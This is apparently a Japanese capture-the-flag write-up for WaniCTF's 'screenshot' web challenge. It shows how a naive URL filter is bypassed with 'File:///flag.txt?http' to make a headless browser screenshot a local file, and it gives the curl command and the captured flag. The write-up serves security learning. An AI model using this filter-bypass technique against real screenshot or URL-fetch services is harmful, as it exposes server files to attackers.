Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

README.md

screenshot:Web:200pts

好きなウェブサイトのスクリーンショットを撮影してくれるアプリです。
An application that takes screenshots of your favorite websites.
https://screenshot-web.wanictf.org

web-screenshot.zip

Solution

よくあるスクリーンショットアプリだ。
site.png
URLを指定し、ボタンを押すとサイトの画像が返ってくる。
URLはhttps://screenshot-web.wanictf.org/api/screenshot?url=https://www.example.com/であった。
配布されたDockerfileより、フラグは/flag.txtにあるとわかる。

FROM node:18.12.1-bullseye-slim

WORKDIR /app

# Install dependencies
COPY ./package.json ./package-lock.json /app/
RUN PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD=1 npm ci
RUN npx playwright install --with-deps chromium

COPY . /app
COPY ./flag.txt /flag.txt

ENTRYPOINT ["node", "src/index.js"]

file:///flag.txtで終わりそうだが、おそらく何らかのフィルタがかかっているようなのでindex.jsを読む。

~~~
      if (!req.query.url.includes("http") || req.query.url.includes("file")) {
        res.status(400).send("Bad Request");
        return;
      }
~~~

httpが入っており、fileが入っていないことが求められている。
fileFileとすれば突破できる。
問題はhttpだが、こちらもfile schemeにはクエリが使えるので、?httpなどを付加してやればよい。
以下の通りに/flag.txtを撮る。

$ curl 'https://screenshot-web.wanictf.org/api/screenshot?url=File:///flag.txt?http' -o flag.png

flag.png
flagがスクリーンショットできた(Leetじゃないところがいい)。

FLAG{beware_of_parameter_type_confusion!}